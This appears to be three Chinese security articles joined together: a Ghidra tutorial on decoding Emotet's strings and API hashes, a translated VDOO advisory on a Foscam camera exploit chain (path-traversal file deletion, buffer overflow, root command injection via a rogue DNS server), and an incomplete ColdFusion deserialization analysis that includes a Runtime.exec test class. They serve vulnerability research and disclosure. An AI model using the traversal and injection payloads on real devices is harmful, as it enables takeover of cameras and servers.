下面，我们将展示如何利用Emotet弄清楚两个函数的运行机制。其中，第一个函数是一个简单的xor例程，用于解密字符串。表面上看，这个函数非常复杂（因为在函数中使用了移位运算符），直到在Ollydbg中运行一遍后，我才明白它到底是干什么的……第二个函数用于查找API名称与哈希值之间的对应关系（具体在后文中介绍）。当然，如果您觉得我说的还不够清楚的很，只要在Ollydbg中运行一下相应的代码，就能很好的理解了。
然后，我们将介绍Ghidra的脚本管理器，并展示如何通过python脚本来解密字符串并解析二进制文件中用到的API调用。
## 字符串是如何加密的？
在这个二进制文件中，我们发现许多地方都引用了0x00401b70处的一个函数调用。实际上，这个调用是用来解密字符串的，因此，不妨将其重命名为decode_strings。要查找对该函数的引用，请右键单击该函数，然后选择References
-> Show References to即可。
对decode_strings函数的引用
对decode_strings函数的调用
函数decode_strings有两个参数，分别位于ECX和EDX中。其中，ECX中存放的是加密字符串的偏移量，而EDX存放的则是xor密钥。另外，解密后的字符串将存放到在堆中分配的内存中，其地址将存放到EAX中。
（注意：我已将字符串“ecx = offset \n edx = key”添加为该函数的可重复注释（repeatable
comment）。具体操作方法为，右键单击地址，然后选择Comments -> Set Repeatable Comment，或键入;即可）
位于该偏移量处的第一个dword与进行异或操作后，就会得到字符串的长度。之后，根据前面得到的字符串长度，对后面相应数量的dword进行异或处理。
现在，我们将为读者介绍最为激动人心的部分——使用Ghidra通过python脚本自动完成上述操作。
## 使用Python完成自动解密
脚本管理器图标
在Ghidra的顶部的工具栏中，我们可以看到如图所示的图标。点击该图标，就会打开脚本管理器。此外，我们也可以通过Window -> Script
Manager来打开它。
脚本管理器
打开脚本管理器后，我们会看到许多使用Java或Python语言编写的脚本，这些都是软件自带的。此外，脚本管理器还提供了许多python脚本示例。所以，要想学习如何编写python脚本，我们可以通过.py过滤相应的脚本。通过Python
Interpreter，我们还可以使用[Jython](https://www.jython.org/archive/21/docs/whatis.html
"Jython")与Ghidra的Java API进行交互。至于Java API的文档，可以在Ghidra安装目录下的docs文件夹中的压缩文件中找到。
新建脚本图标
要新建python脚本，可以点击上图所示的图标；或者，我们也可以选择Python，然后输入为脚本指定的名称即可。
示例脚本test.py
此外，建议大家阅读帮助文档（请访问Help -> Contents）中“Script
Development”一节的内容，那里详细介绍了创建新脚本时生成的各种元数据标记。
我已将脚本上传到我的github
repo中，访问地址为<https://github.com/0xd0cf11e/ghidra/blob/master/ghidra_emotet_decode_strings.py。>
解密后的字符串以注释的形式显示
该脚本的思路就是，在将偏移量保存到ECX的指令旁边，以注释的形式显示解密后的字符串。
二进制文件中修补的字节。
然后，修补二进制中的字节。
首先，找出引用decode_strings函数的所有代码。
为此，需要遍历所有引用，并找出操作码指令MOV ECX和MOV
EDX。实际上，这些指令并不总是位于函数调用之前。所以，为了查找这些操作码，我最多遍历100条指令。
完成上述操作后，执行xor例程，修补相应的字节，并在相应位置写入注释。
上面，我们介绍了如何使用Ghidra来静态分析恶意软件Emotet。我们知道，Emotet通过简单的xor函数对其字符串进行了加密处理。由于在整个文件中都使用了xor例程，手动解密非常繁琐，所以，我们为大家介绍了如何使用Ghidra的脚本管理器编写python脚本，以自动解码字符串。
接下来，我们将为大家演示如何利用类似的方法，来将Emotet中编码为哈希值解析为API名称。
## Emotet是如何解析API地址的？
对于这款恶意软件的二进制文件来说，它并没有对API名称字符串进行加密。相反，它将API名称存储为哈希值，以加大安全人员的分析难度。
这些哈希值数组存储在堆栈中，然后，在函数0x401230中通过指针来引用这些哈希值。所以，我们已将函数0x401230函数标记为decodeAPINames。
保存在堆栈中的哈希值
传递给函数的其他参数
首先，在调用decodeAPINames之前需要获取DLL的句柄。为此，该恶意软件通过PEB枚举来查找kernel32.dll和ntdll.dll的句柄。而其余的DLL，则通过LoadLibraryW（DLL名称由xor例程进行了编码）进行加载。
该函数使用这个句柄来读取DLL的导出地址表。同时，它会计算表中的每个API名称的哈希值，并与压入堆栈的哈希值进行比较。如果匹配，则将相应的API地址将保存为文件内部偏移量。
注意，堆栈中并非所有哈希值都是有用的。相反，许多哈希值都是用来滥竽充数的，所以，乍一看该文件的API地址列表硕大无比，实际上，这只是迷惑安全分析人员的假象。
## 使用Python将哈希值解析为函数名称
这里有一个通过哈希值解析函数名称的脚本，下载地址为：
<https://github.com/0xd0cf11e/ghidra/blob/master/ghidra_emotet_decode_hash.py。>
当然，还有许多其他方法也可以解决这个问题。这里使用的方法一方面需要用户进行参与，同时，还需要将API名称列表保存到一个文件中。正是因为这个过程有些繁琐，因此，我才编写了一个简单的脚本，让它来替我们完成这些准备工作。
来自Kernel32的部分API名称
首先，我编写了一个[脚本](https://github.com/0xd0cf11e/pefile/blob/master/exportFunctions.py
"脚本")，用来将DLL的所有导出函数都保存到一个文件中。
然后，用这个脚本来处理ntdll.dll、kernel32.dll、advapi32.dll、shell32.dll、crypt32.dll、urlmon.dll、userenv.dll、wininet.dll和wtsapi.dll。
接下来是找到所有引用decodeAPINames的偏移量。在这个过程中，我在脚本管理器中无意中发现了Ghidra提供的Java脚本ShowCCallScripts.java。根据该脚本名的提示，我将光标放在decodeAPINames函数中，然后运行了该脚本，结果如下所示：
运行ShowCCallScripts.java后，控制台的输出结果
运行该脚本时，需要注意哪个引用的偏移量处的函数解析哪个DLL的API名称的。
例如，0x4079c0处的函数解析crypt32.dll
API名称。为什么这么说呢？因为我发现，当调用decode_strings时，其名称是由0x407afa处的函数进行解析的（详见前文）。然后，会在偏移量0x407b3a处调用decodeAPINames。
输入引用decodeAPINames的偏移量。
脚本运行时，会要求输入相应的偏移量。例如上图中，我们输入的是407b3a。
crypt32.list文件，其中含有crypt32.dll导出函数名称列表。
接下来，它会提示输入文件名，这里，我们输入的是用来保存crypt32.dll导出函数名称的文件。
在控制台中，我们看到解析了哪些API名称。就crypt32.dll来说，只有一个API名称解析了出来，即CryptDecodeObjectEx，尽管有39个（十六进制为0x27）哈希值被压入堆栈。
控制台输出结果
之后，该脚本会使用API名称来标记偏移量。
创建CryptDecodeObjectEx标签。
下面是处理kernel32.dll的结果：
kernel32的API名称
希望本文能够对读者有所启发，如果您已经找到了更好的方法来解析哈希值，或发现了与Ghidra有关的有趣的技术，欢迎与我们一起分享。 | 社区文章 |
# Foscam相机的主要漏洞
##### 译文声明
本文是翻译文章，文章来源：https://blog.vdoo.com
原文地址：<https://blog.vdoo.com/2018/06/06/vdoo-has-found-major-vulnerabilities-in-foscam-cameras/>
译文仅供参考，具体内容表达以及含义原文为准。
过去几个月来，VDOO安全研究团队一直在进行安全和安全领域领先物联网产品的广泛安全研究。在大多数情况下，为了提高效率和透明度，研究与设备供应商一起进行。
作为这项研究的一部分，VDOO的研究人员在几家供应商的设备中发现了零日漏洞。根据负责任的披露最佳实践，这些漏洞向供应商披露，并将在披露期结束后逐步分享。
我们发现易受攻击设备的供应商之一是Foscam，当时我们的团队发现了Foscam安全摄像头中的一个关键漏洞链。结合发现的漏洞，如果对手成功获取相机地址，他可以远程（通过LAN或互联网）获得对受影响相机的root访问权限。VDOO负责任地披露了这些漏洞（CVE-2018-6830，CVE-2018-6831和CVE-2018-6832），并与Foscam安全团队合作解决此事。
VDOO团队享有充分的协作和透明度，并且非常感谢Foscam与安全社区共享以下信息的开放性，以帮助整个物联网行业并为其客户的隐私和安全带来益处。
据我们所知，这些漏洞没有被广泛利用，因此没有导致任何具体的隐私侵犯或对Foscam客户的安全威胁。Foscam团队迅速采取行动修补这些漏洞并将其推向易受攻击的产品。
我们强烈建议未更新相机的Foscam客户立即采取措施或以其他方式降低风险。请参阅下面的FAQ部分
我们还建议其他相机供应商在本报告结尾处遵循我们的建议，以避免和减轻类似的威胁。
## 关于VDOO
VDOO是一家技术驱动的公司，致力于改变未受保护的连接设备的现实。VDOO正在构建一系列产品，以支持设备制造商在开发阶段将安全性嵌入到其连接的设备中，并实现后期开发安全性。
除了开发产品和服务之外，VDOO还在连接设备的广泛研究方面投入了大量精力。安全和安全产品是本研究的两个焦点组。
VDOO的研究目标是贡献知识和工具来降低风险，并鼓励设备供应商为其产品实施正确的安全措施。我们VDOO认为适当实施安全要点将大大降低利用设备漏洞的机会。
这是[一系列博客](https://blog.vdoo.com/2018/06/06/behind-the-research-glass-an-insight-into-our-approach/)中的第一篇，将涵盖技术深度潜水作为我们广泛研究的一部分。敬请关注。
## 技术概述
foscam相机运行在Linux操作系统，所有进程都以root权限运行。Web服务器是一个带有附加供应商代码的lighttpd，它通过使用[FastCGI协议](https://en.wikipedia.org/wiki/FastCGI)将API请求转发到其内部的CGIProxy.fcgi进程。
所述CGIProxy.fcgi可执行转发请求（通过使用一个专有的IPC机构）的web服务方法-用于验证用户的凭证（如果需要）并运行所需的API命令中的处理程序。
根据命令的不同，处理程序可能会调用devMng进程中的其他代码，这些代码通常使用system（）或popen（）函数运行shell命令，库调用来配置系统服务。当一个守护进程重新启动后，它就终止了。
网络可访问摄像头的攻击情况如下：
**• 步骤1：** 攻击者必须先获取相机的IP地址或DNS名称。它可以通过几种方式实现，其中包括：
• 如果相机和网络由用户配置，以使相机具有与互联网的直接接口，则其地址可能由某些互联网扫描仪显示。
• 如果攻击者获得了未经授权（远程或本地）访问相机所连接的网络，他可能会找到相机的本地地址。
• 如果用户启用了动态DNS，攻击者可能会找到解决设备名称的方法
**• 步骤2：** 攻击者随后使用 **CVE-2018-6830** （一种任意文件删除漏洞）来删除某些重要文件，这些文件将在
**webService** 进程重新加载时导致身份验证绕过。
**• 步骤3：攻击者** 将崩溃 **webservice** 通过利用过程 **CVE-2018-6832** ，在一个基于堆栈的缓冲区溢出漏洞的
**webservice** 的过程。崩溃后， **webService**
进程将自动由看守程序守护进程重新启动，并且在进程重新加载期间，步骤2中的更改将生效。对手现在可以获得管理凭证。
**• 步骤4：** 攻击者通过利用 **CVE-2018-6831**
执行根命令。这是一个需要管理员凭据的shell命令注入漏洞。由于攻击者在前一阶段获得了管理员凭据，因此他现在可以使用此漏洞以root用户身份执行命令以执行特权升级。完整的详细信息在下面的深度技术探究中展示。
## 更深入的技术研究
本节提供每个漏洞的详细信息并说明完整的攻击顺序。
### **CVE-2018-6830 –** 任意文件删除漏洞
此漏洞允许攻击者通过为相机的Web管理界面制作特殊的GET请求来删除相机文件系统中的任意文件; 不需要用户凭证。
此漏洞与添加到开源 **lighttpd** Web服务器代码的自定义供应商代码有关。此代码的功能是在从相机上传到用户后立即删除使用snapPicture
API命令拍摄的临时 **快照** 照片（将相同功能分配给 **exportConfig** API命令）。
当GET请求发送到Web服务器（通过端口88）时，在处理请求之后，搜索请求的URI路径组件（ **con > request.uri->
ptr**）或者搜索字符串 **/ configs / export /或/ snapPic /** 。如果请求包含这些字符串中的一个，则服务器使用
**strncat** 函数将文档根路径 **/tmp/www** 与URI的路径组件组合以形成完整路径。然后验证文件的存在（通过调用
**access（path，F_OK** ））并继续通过调用 **remove（path）** 来删除文件。
此代码存在路径遍历漏洞攻击，攻击者可以在GET请求中使用 **点划线** （’../‘）序列，该请求将以 **con > request.uri->
ptr**组件结束。由于 **/ snapPic /** 目录已存在于服务器的文档根目录中，因此攻击者可以使用 **/ snapPic /**
URI作为有效路径，该路径也会触发该代码分支的执行。然后，攻击者继续添加 **点划线** 序列，沿着目录树向上移动，直到到达根目录（’ **/**
‘），然后添加要删除文件的路径。例如，URI **/snapPic/../../../tmp/abc** 表示该文件 **/ tmp / abc**
，如果存在，将被删除。
**POC**
此PoC显示我们如何使用此漏洞从设备中删除任意文件。该 **_FILE_TO_DELETE** shell变量持有文件的绝对路径。
### **CVE-2018-6832 –** 基于攻击的缓冲区溢出漏洞
此漏洞允许攻击者崩溃设备的 **webService** 进程。它通过向相机的Web管理界面发送特制的GET请求来触发，而不需要任何用户凭据。
相机的网络服务器提供了带有许多命令的 **FastCGI** API。可能的命令包括 **getSWFlag** 命令，该命令通过向
**/CGIProxy.fcgi?cmd=getSWFlag** 发送未经身份验证的HTTP GET请求来调用。GET请求参数从
**CGIProxy.fcgi** 进程转发到 **webService的getSWFlag函数代码** （我们称之为 **getSWFlag_func**
）。 **getSWFlag_func** 可以选择接收名为 **callbackJson** 的查询字符串参数。
**getSWFlag_func** 首先将 **callbackJson** 参数的值读取到堆栈上大小为0x400字节的本地变量
**callbackJson_var** 。这是通过引用 **callbackJson_var** 调用 **get_param**
函数完成的，最大大小限制为0x400个字符。
之后， **getSWFlag** 通过引用 **callbackJson_var** 来调用 **prepare_reply_func**
函数。这个函数准备一些将被发回给用户的HTTP响应。
如果 **callbackJson_var** 不是空字符串 – **prepare_reply_func** 使用 **strcat**
将各种字符串数据附加到位置（在 **getSWFlag_func** 堆栈的原始位置）的 **callbackJson_var**
字符串。总共添加了大约0x48个字符。（附加的字符串是：’（{“key”：“<CGI_Result> <result> 0 </ result>
<flag> 0011 </ flag> </ CGI_Result>”}）’）。
因此，如果攻击者设置查询字符串参数的值， **callbackJson** 将保留足够多的字符（超过某个阈值），那么由
**prepare_reply_func** 生成的结果串联将导致 **getSWFlag_func** 的堆栈中的
**callbackJson_var** 溢出。写入大量字节将导致覆盖保存的堆栈寄存器（包括PC寄存器）并导致崩溃。因此，攻击者可能会崩溃
**webService** 进程，这会导致 **/usr/bin/
** watchdog进程几秒钟后重新启动此进程。
### **CVE-2018-6831 – Shell命令注入漏洞**
此漏洞需要管理员凭据，这在以前的阶段中已经实现。它允许攻击者以root用户的身份执行命令，以提升权限。它绕过了2017年6月由思科Talos披露的一个较旧的漏洞补丁CVE-2017-2879。
摄像机的Web服务器 **FastCGI** 的 API包括设置自定义NTP服务器的命令（ **/CGIProxy.fcgi?cmd=
setSystemTime** ）。该命令需要管理员凭证。此命令所需的参数 **ntpServer** 包含用于设置 **NTP_Server_URL**
的字符串值 。该参数未被特殊字符过滤，甚至可以包含空格和分号。
当调用API命令 **setSystemTime** 时， **CGIProxy.fcgi**
将请求转发给 **webService** 进程，该进程读取其参数并发送调用 **devMng** 函数
**OnDevMngMsgSetSystemTime** （命令0x6034）的IPC消息。
除此之外， **OnDevMngMsgSetSystemTime** 在全局结构中设置新的 **NTP_Server_URL** 。
一个单独的线程，NTP更新线程，内 **devMng** ，运行 **setSystemTimeNTP** 功能每秒一次在一个无限循环。
**setSystemTimeNTP** 采用全局结构（前面设置）中的 **NTP_Server_URL** 值，并使用此值调用
**gethostbyname（NTP_Server_URL）** 。如果主机名已成功解析，则继续调用以下易受攻击的代码：
**sprintf（buf，“ntpclient -h％s -c 3 -s”，NTP_Server_URL）; 和popen（buf，“r”）;**
（请参阅下面的IDA截图）。
所述 **POPEN** 函数运行通过运行外壳命令的sh -c与所提供的字符串参数。如果我们将 **NTP_Server_URL** 设置为;
**SOME_COMMAND** ;,并且可以绕过 **gethostbyname（NTP_Server_URL）** 调用 – **popen**
然后会调用 **sh -c“ntpclient -h; SOME_COMMAND; -c 3 -s** “。分号有助于破解shell命令并导致命令注入。由于
**devMng** 进程以root 身份运行，我们将能够以root用户身份运行任何命令。
如前所述，我们的理解是，只有在成功执行 **gethostbyname（）** 调用后才会执行代码，以修补 **CVE-2017-2879**
漏洞。我们的猜测是，补丁作者认为使用 **gethostbyname（）** 调用将是一个足够的解决方案来净化 **NTP_Server_URL**
的输入。我们驳斥了这个假设，因为我们观察到 **uclibc** （相机的C标准库） **gethostbyname（）**
实现不会无法解析包含分号或空格的主机名。
为了绕过 **gethostbyname** 调用，我们执行以下步骤（参见下面的’ **CVE-2018-6831** 步骤’图中相应的步骤编号）：
1. 我们预先设置了我们自己的DNS服务器，并将其配置为响应任何带有预定义静态IP地址（例如1.2.3.4）的DNS查询（即使它包含空格和分号）。
2. 然后，我们用设置相机的DNS服务器地址到我们自己的DNS服务器 **/CGIProxy.fcgi?cmd= setIpInfo** API命令。
3. 然后，我们通过使用 **NTP_Server_URL** “; **SOME COMMAND** ;” 构建对 **setSystemTime** API命令的恶意请求来触发此漏洞。
4. 在此阶段， **gethostbyname** 运行，导致摄像机发送“; **SOME_COMMAND** ;”的DNS查询。
5. 我们的DNS服务器发送一个有效的响应，使得 **gethostbyname（）** 调用成功。
6. 代码继续执行命令注入，使攻击者能够以root身份执行命令。
PoC
0 此漏洞的准备工作 – 使用以下配置设置Bind9 DNS服务器：
1 将相机的DNS服务器设置为指向我们的DNS服务器:(使用管理员的用户名和密码）
2 触发漏洞（我们选择执行远程登录服务器，然后连接到它）：
以下也是Wireshark的屏幕截图 – 显示整个攻击期间发射的DNS流量。
## 设备制造商的建议
我们希望涉及本研究中分析的摄像机中发现的一些漏洞，使攻击者能够更轻松地发现和利用漏洞。我们鼓励设备制造商考虑以下建议。
•
所有设备的进程都以root身份运行。这违反了特权分离的概念（[https://en.wikipedia.org/wiki/Privilege_separation），其中规定应该将程序分成若干部分](https://en.wikipedia.org/wiki/Privilege_separation%EF%BC%89%EF%BC%8C%E5%85%B6%E4%B8%AD%E8%A7%84%E5%AE%9A%E5%BA%94%E8%AF%A5%E5%B0%86%E7%A8%8B%E5%BA%8F%E5%88%86%E6%88%90%E8%8B%A5%E5%B9%B2%E9%83%A8%E5%88%86)
–
每个部分都被限制为自己所需的特权。虽然系统中的每个进程都以root身份运行，但任何系统进程中的代码执行错误都会使攻击者升级到root权限。另一方面，如果较少的进程使用高权限运行
– 攻击者必须发现更多受限进程中的漏洞才能升级权限，这是一项艰巨的任务。具体而言，面向网络的进程（如Web服务器）应该以最小权限集而不是root身份运行。
•
执行外部进程来执行任务（如配置设备或其操作系统），而不是使用编程语言（库函数）的现有API（如果存在）。执行外部进程，特别是运行shell命令，会给程序带来新的漏洞类型。开发人员应该意识到这些漏洞类型并保护它们。严格的输入校验可以阻止CVE-2018-6831成为shell命令注入漏洞
，在实际运行shell命令时，要求设备制造商对所有shell控制符号进行过滤。另一个例子是攻击者能够替换程序即将运行的可执行文件 –
使其能够在更加特权的环境中运行代码。
•
未能对正常输入的校验，是导致CVE-2018-6831漏洞产生的成因，主要原因是代码作者未能使用合适的方法对输入进行校验，而开发者依赖gethostbyname库调用
– 更确切的说是由此导致该漏洞的形成。防止不良输入的一种更好的方法是使用白名单 – 只允许在输入字段中找到特定的字符范围。
•
在实践中，供应商固件文件使用短可猜测的模式作为openssl命令的关键字加上aes-128-cbc的事实使我们能够快速掌握固件内容。然后我们可以立即开始分析固件的安全问题。此外，该设备包含具有函数名称之类的符号未经剥离的二进制文件。这有助于我们理解代码如何工作。另一方面，值得注意的是，固件内容的隐匿方式的安全性可能会导致存在问题但由于固件被正确加密而未被发现和修复的情况。供应商应仔细考虑这种权衡。
## 感谢
我们要感谢Foscam的安全团队高效，及时地处理这个安全问题。
## 荣誉
Or Peles（[@peles_o](https://github.com/peles_o "@peles_o")），VDOO
## FAQ部分
### Q1。我如何知道我的设备是否易受攻击？
您需要检查您的相机固件是否至少是下面“表I”中出现的版本以及相关的安全补丁。要查看相机使用的固件版本，可以执行以下操作：
方法1
1. 使用网络浏览器访问您的相机。地址线通常如下所示：192.168.0.1:88（用相机的实际地址替换“192.168.0.1”）。
2. 输入你的用户名与密码
3. 点击“设置”，然后点击“设备信息”
4. 在右侧窗格中，查找“应用程序固件版本”。
方法2
如果您有多个设备，则可能需要通过发出以下命令以编程方式检索固件：
**curl“ <Camera IP Address>：88 / cgi-bin / CGIProxy.fcgi？cmd = getDevInfo＆usr
= admin＆pwd = <Password>**
例如：
**curl“192.168.0.200:88/cgi-bin/CGIProxy.fcgi?cmd=getDevInfo
&usr=admin&pwd=abc1234**
响应如下所示：
**< CGI_Result>
<result>0</result>
<productName>FI9816P+V3</productName>
<serialNo>0000000000000001</serialNo>
<devName>Acme</devName>
<mac>00626E860232</mac>
<year>2018</year>
<mon>5</mon>
<day>25</day>
<hour>19</hour>
<min>40</min>
<sec>19</sec>
<timeZone>0</timeZone>
<firmwareVer>2.81.2.29</firmwareVer>
<hardwareVer>1.12.5.2</hardwareVer>
<pkgTime>2017-06-15_17%3A21%3A35</pkgTime>
</CGI_Result>**
Look for the line with “firmwareVer”.
**表I – 最新的易受攻击固件版本。**
这些是最新的易受攻击的固件版本。添加相应的补丁可缓解这些漏洞。
相机型号 | 应用程序固件版本
---|---
C1 Lite V3 | 2.82.2.33
C1 V3 | 2.82.2.33
FI9800P V3 | 2.84.2.33
FI9803P V4 | 2.84.2.33
FI9816P V3 | 2.81.2.33
FI9821EP V2 | 2.81.2.33
FI9821P V3 | 2.81.2.33
FI9826P V3 | 2.81.2.33
FI9831P V3 | 2.81.2.33
FI9851P V3 | 2.84.2.33
FI9853EP V2 | 2.84.2.33
C1 | 2.52.2.47
C1 V2 | 2.52.2.47
C1 Lite | 2.52.2.47
C1 Lite V2 | 2.52.2.47
FI9800P | 2.54.2.47
FI9800P V2 | 2.54.2.47
FI9803P V2 | 2.54.2.47
FI9803P V3 | 2.54.2.47
FI9815P | 2.51.2.47
FI9815P V2 | 2.51.2.47
FI9816P | 2.51.2.47
FI9816P V2 | 2.51.2.47
FI9851P V2 | 2.54.2.47
R2 | 2.71.1.59
C2 | 2.72.1.59
R4 | 2.71.1.59
FI9900EP | 2.74.1.59
FI9900P | 2.74.1.59
FI9901EP | 2.74.1.59
FI9961EP | 2.72.1.59
FI9928P | 2.74.1.58
FI9803EP | 2.22.2.31
FI9803P | 2.24.2.31
FI9853EP | 2.22.2.31
FI9851P | 2.24.2.31
FI9821P V2 | 2.21.2.31
FI9826P V2 | 2.21.2.31
FI9831P V2 | 2.21.2.31
FI9821EP | 2.21.2.31
FI9821W V2 | 2.11.1.120
FI9818W V2 | 2.13.2.120
FI9831W | 2.11.1.120
FI9826W | 2.11.1.120
FI9821P | 2.11.1.120
FI9831P | 2.11.1.120
FI9826P | 2.11.1.120
FI9805W | 2.14.1.120
FI9804W | 2.14.1.120
FI9804P | 2.14.1.120
FI9805E | 2.14.1.120
FI9805P | 2.14.1.120
FI9828P | 2.13.1.120
FI9828W | 2.13.1.120
FI9828P V2 | 2.11.1.133
### Q2。如何判断我的设备是否被破坏？
由于僵尸网络恶意软件通常被制造为不被发现，因此没有简单的方法可以确切知道。对设备的任何可疑更改都可能表示设备上存在僵尸网络恶意软件。
几种检查方法：
1. **您的密码不再生效** （而不是因为您忘记了） – 这强烈表示设备已被他人接管。
2. **您的设备设置已被修改** – 例如，视频现在被发送到不同的服务器。
3. **网络流量中的峰值** – 如果可能，请检查您的路由器网络统计信息。僵尸网络可能会增加摄像头发起的网络流量。任何峰值都应该值得引起你的注意，因为除非你从摄像机传输视频，否则这个数字应该相对较低。
### Q3。如果违规，我的设备是否有补救措施？
在发布时，我们不知道有任何恶意软件在滥用此问题。如果您怀疑设备被破坏，请将相机恢复到出厂设置。这样做会将配置恢复到默认设置，允许您连接和升级固件。请记住，如果您使用的是易受VDOO检测到的漏洞的固件，则该设备可能成为攻击目标，并可能很快再次受到感染。因此，在重置设备之后，请确保在将相机直接连接到互联网之前立即执行固件升级。
### Q4。如果我无法更新相机的固件，如何减轻风险？
为了减少相机的暴露和远程管理的能力，建议将设备置于防火墙阻挡端口88和443（或相机配置中指定的端口）后面，并考虑不允许相机启动任何出站连接（请记住，这可能会影响Foscam云服务）。另一种选择是将设备置于反向代理之后，该代理将阻止我们用于漏洞利用的URL（请参阅上面的其他详细信息）。如果需要额外的帮助，请联系[[email protected]](mailto:[email protected])。
### Q5。如何升级相机中的固件？
[点击此处查看](https://www.foscam.com/general-statement-for-firmware-update.html)
供应商的固件更新说明。 | 社区文章 |
# ColdFusion FlashGateway 反序列化漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2019年2月12日，Adobe官方发布了针对Adobe
ColdFusion的安全更新补丁，编号为APSB19-10。但是针对该漏洞的分析，目前网上我只见到一篇文章，<https://paper.seebug.org/811/>，
虽然文章没有给出太多的细节（对于我们小白而言）但根据该文章的提示，我们还是可以定位分析该漏洞，成功写出漏洞利用代码的。下面我就介绍下，我整个的分析过程。
## 环境搭建
讲真，这个环境搭建真心不太容易，想从网上下一款老版的ColdFusion安装包真的很难，还好我很久之前下过，所以这里省了我很多工夫。
安装包：ColdFusion_2016_WWEJ_win64.exe update3 版本存在漏洞。
安装完之后，默认后台地址为http://127.0.0.1:8500/CFIDE/administrator/index.cfm
## 漏洞定位
根据seebug文章中的介绍，漏洞出现在FlashGateway中。在web.xml中搜索flashgateway，其中一条信息如下
<servlet-mapping id="coldfusion_mapping_1">
<servlet-name>FlashGateway</servlet-name>
<url-pattern>/flashservices/gateway/*</url-pattern>
</servlet-mapping>
访问<http://127.0.0.1:8500/flashservices/gateway/>,发现该网址可以访问，猜测出现漏洞的就是该网站。
根据seebug文章的规避方案可知，漏洞和gateway-config.xml也有关，于是为了方便后面漏洞调试，我们把<service-adapters>中的配置全部打开（后面测试可知，其实只需要打开flashgateway.adapter.java.JavaAdapter配置即可）重启服务coldfusion.exe
-restart -console
知道网站漏洞路径，下面我们就要定位漏洞代码，在cfusion的lib目录下有个文件flashgateway.jar，是不是像极了爱情，我们jd-gui打开该jar，可以看到，漏洞所涉及的类都在这个jar包中，真好。
## 漏洞分析
### **（1）简要分析**
我们先到web.xml中，看下FlashGateway这个servlet的流程，从如下配置文件中可知，在访问[http://127.0.0.1:8500/flashservices/gateway/后，会先到coldfusion.bootstrap.BootstrapServlet](http://127.0.0.1:8500/flashservices/gateway/%E5%90%8E%EF%BC%8C%E4%BC%9A%E5%85%88%E5%88%B0coldfusion.bootstrap.BootstrapServlet)中，通过参数配置，大概可以猜测（事实也是如此），该类会加载flashgateway.controller.GatewayServlet。
GatewayServlet类中service(HttpServletRequest req, HttpServletResponse
res)，接收来之http的请求，然后调用context =
this.gateway.invoke(context)进入GateWay类中的invoke()
This. serialFilter由CreateFilters赋值
程序进入SerializationFilter的invoke()函数，该函数中对传入的数据进行了反序列化处理。
context.setResponseMessage(new ActionMessage());
MessageDeserializer deserializer = new MessageDeserializer(super.gateway);
deserializer.setDebugBuffer(debugBuffer);
deserializer.setInputStream(context.getHttpRequest().getInputStream());
try {
ActionMessage m = new ActionMessage();
context.setRequestMessage(m);
deserializer.readMessage(m);
success = true;
}
函数中创建MessageDeserializer对象，然后调用readMessage(m),将传入的ActionMessage数据反序列化，并复制给context中的相关变量。
这里我们先简单看下ActionMessage的成员变量
public class ActionMessage implements Serializable {
private static final int CURRENT_VERSION = 0;
private int version;
private ArrayList headers = null;
private ArrayList bodies = null;
其有两个数组列表headers和bodies。类型分别为MessageHeader、MessageBody。其中MessageBody和漏洞利用息息相关，所以这里我们重点关注其成员变量
public class MessageBody implements Serializable, GatewayConstants {
private String targetURI;
private String responseURI;
protected Object data;
public String adapterName;
public String serviceName;
public String functionName;
public List parameters;
public List roles;
public boolean useBasicAuthentication;
public boolean useCustomAuthentication;
public String serviceType;
重要的变量有targetURL、data、serviceName、functionName、paramters。
我们再回到反序列化函数readMessage(m)中
public void readMessage(ActionMessage m) throws IOException {
int version = this.in.readUnsignedShort();
m.setVersion(version);
int headerCount = this.in.readUnsignedShort();
for(int i = 0; i < headerCount; ++i) {
MessageHeader header = new MessageHeader();
m.addHeader(header);
this.readHeader(header, i);
}
int bodyCount = this.in.readUnsignedShort();
for(int i = 0; i < bodyCount; ++i) {
MessageBody body = new MessageBody();
m.addBody(body);
this.readBody(body, i);
}
}
函数功能就是根据格式（header、body）对数据进行反序列化。
**下面引用seebug上的一段话：**
完成序列化过程后，此时ActionContext
context中的内容即为输入流中精心构造的ActionMessage信息。在flashgateway.filter.AdapterFilter的invoke方法中，读取ActionContext中的MessageBody信息赋值给serviceName、functionName、parameters等，通过adapter=locateAdapter(context,
serviceName, functionName, parameters,
serviceType)方法得到flashgateway.adapter.java.JavaBeanAdapter类型的adapter，然后执行JavaBeanAdapter的invokeFunction方法。关键代码如下：
public ActionContext invoke(ActionContext context) throws Throwable {
this.processHeaders(context);
Object result = null;
String replyMethodName = "/onStatus";
MessageBody requestMessageBody = context.getRequestMessageBody();
String serviceName = requestMessageBody.serviceName;
String functionName = requestMessageBody.functionName;
List parameters = requestMessageBody.parameters;
try {
Throwable e;
try {
e = null;
String serviceType = requestMessageBody.serviceType;
ServiceAdapter adapter;
if (context.isDescribeRequest()) {
adapter = this.locateAdapter(context, serviceName, (String)null, (List)null, serviceType);
} else {
adapter = this.locateAdapter(context, serviceName, functionName, parameters, serviceType);
}
//......
//adapter为JavaBeanAdapter，执行flashgateway.adapter.java.JavaBeanAdapter的invokeFunction方法
if (context.isDescribeRequest()) {
result = adapter.describeService(context, serviceName);
} else {
result = adapter.invokeFunction(context, serviceName, functionName, parameters);
}
其中，目标执行方法method通过Method method = this.getMethod(parameters, serviceName,
functionName, aClass)得到；方法执行对象service 通过service =
aClass.newInstance()得到；方法执行参数parameters.toArray()通过MessageBody得到。由此可见，method.invoke(service,
parameters.toArray())的所用参数都可控，意味着可执行任意方法。
public Object invokeFunction(ActionContext context, String serviceName, String functionName, List parameters) throws Throwable {
this.assertAccess(serviceName);
Class aClass = Class.forName(serviceName);
Object service = null;
HttpServletRequest req = context.getHttpRequest();
HttpSession session = req.getSession();
if (session.getAttribute(aClass.getName()) != null) {
service = session.getAttribute(aClass.getName());
} else {
service = aClass.newInstance();
session.setAttribute(aClass.getName(), service);
}
Method method = this.getMethod(parameters, serviceName, functionName, aClass);
return this.testPageable(context, method.invoke(service, parameters.toArray()));
}
有了这些信息，我想我可以简单写出payload进行测试（但是实际上并不能，但一开始谁知道呢）。
### **（2）初次尝试攻击**
为了方便测试，我自己写了个简单的类，
package cmd;
public class MyCmd {
public MyCmd() {
}
public void cmd(String cmd) {
try{
Runtime.getRuntime().exec(cmd);
}
catch (Exception e) {
}
}
}
并将其打包成CmdPayload.jar，放在cfusion目录下的lib目录下。
下面我们就要构造序列化内容，怎么构造序列化内容呢
